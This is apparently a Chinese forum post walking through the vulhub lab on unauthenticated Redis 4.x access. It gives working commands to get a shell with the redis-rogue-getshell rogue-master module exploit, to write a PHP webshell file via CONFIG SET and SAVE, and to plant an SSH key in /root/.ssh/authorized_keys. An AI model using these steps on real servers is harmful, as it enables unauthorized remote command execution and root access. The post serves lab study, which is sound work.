找回密码
 立即注册
首页 业界区 安全 【vulhub】redis 4-unacc (redis未授权访问)

【vulhub】redis 4-unacc (redis未授权访问)

命煦砌 6 天前
[size=6,font] 渗透环境

攻击机:   IP: 192.168.66.130(Kali)
漏洞收录于:vulhub/redis/4-unacc
涉及知识点:redis未授权访问
影响版本:redis 版本 < 6.x
漏洞的产生条件有以下两点:

  • Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
[size=6,font] 复现漏洞 


[size=4,font]    一、 启动漏洞容器
  1. docker-compose up -d
复制代码
1.png

可以看到redis运行在默认端口6379上
[size=4,font] 二、未授权连接
  1. redis-cli -h 192.168.66.130
复制代码
redis-cli -h [IP] -p [port] -a [password]
当使用默认端口6379时可不使用参数-p
测试连接,ping一下,成功连接
2.png

[size=4,font]三、get shell

一般来说有两种方式get shell:

  • 使用现成工具redis-rogue-getshell,项目地址:https://github.com/vulhub/redis-rogue-getshell.git
  • 通过向靶机写入SSH公钥实现SSH登录
但由于vulhub环境搭建的问题,在写入SSH公钥时会遇到无法将工作目录设置为/root/.ssh的问题,因此这里只能用第一种姿势get shell。不过第二种方法下面也会提到。
姿势一:redis-rogue-getshell

漏洞背景
Redis 4.x及5.0.5之前的版本支持主从复制模式,攻击者可伪造一个恶意主节点(Master),诱导目标Redis作为从节点(Slave)连接,通过传输恶意数据流注入攻击载荷。
核心步骤

  • 主从关系建立
    攻击机运行脚本redis-master.py,监听指定端口(如8989),伪装成主节点。目标Redis被设置为从节点后,会自动同步攻击机发送的数据。
  • 加载恶意模块
    脚本通过Redis的MODULE LOAD命令,将预编译的恶意模块exp.so上传至目标服务器。该模块包含执行系统命令的功能。
  • 命令执行
    利用模块中的system.exec方法执行-c参数指定的命令(如ls),从而控制目标服务器。
  1. git clone https://github.com/vulhub/redis-rogue-getshell.git
  2. cd redis-rogue-getshell/RedisModulesSDK
  3. make                # 编译的时候可能会报错,不用管
  4. cd ..                # 回到redis-rogue-getshell
  5. ./redis-master.py -r 192.168.66.130 -p 6379 -L 192.168.66.130 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"
复制代码
[!NOTE]
-r 192.168.66.130   # 目标Redis服务器的IP地址
-p 6379             # 目标Redis服务的端口(默认6379)
-L 192.168.66.130   # 攻击机监听的IP地址(伪装为主节点)
-P 8989             # 攻击机监听的端口(用于主从同步)
-f RedisModulesSDK/exp/exp.so  # 恶意动态链接库(.so文件路径)
-c "ls"             # 要在目标服务器上执行的命令
3.png

可以看到whoami已经执行成功。
姿势二:写入SSH

redis-cli常用命令
命令作用keys列出当前数据库中所有的键info查看redis信息config set dir [path]设置工作目录config set  dbfilename [filename]设置文件名set [key] [value]设置键值对config get dir检查工作目录是否设置成功config get  dbfilename检查备份文件名是否设置成功save进行一次备份操作flushall删除所有数据(慎用)del key删除键为key的数据由于没有开启其他web服务,我们的webshell也无法解析。但是可以先尝试能否写入文件。
设置路径、文件
  1. config set dir /tmp
  2. config set dbfilename test.php
  3. set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
  4. save
复制代码
[!NOTE]
写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
进入容器查看是否已经成功写入
4.png

可以看到已经成功写入。接下来我们要做的是在攻击机上生成ssh的登录公钥,将公钥写入靶机/root/.ssh/authorized_keys文件中,攻击机即可ssh连接靶机。
  1. ssh-keygen -t rsa                # 生成公钥,执行后可以设置生成的路径、密码等,可以直接回车跳过
复制代码
5.png

公钥默认生成路径为/root/.ssh/id_rsa.pub,对应的私钥为/root/.ssh/id_rsa
  1. cd /root/.ssh
  2. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt        # 将生成的公钥写入1.txt中。前后的换行是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
  3. cat 1.txt | redis-cli -h 192.168.66.130 -x set crack        # 将1.txt的内容作为值,crack作为键,设置键值对
  4. config set dir /root/.ssh                                                                # 就是在这一步,靶机提示没有权限,应该是vulhub环境搭建的问题
  5. config set dbfilename authorized_keys
  6. save
复制代码
至此,ssh公钥已经写入靶机,只要攻击机使用私钥id_rsa进行ssh连接即可
  1. ssh -i /root/.ssh/id_rsa root@192.168.66.130
复制代码

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册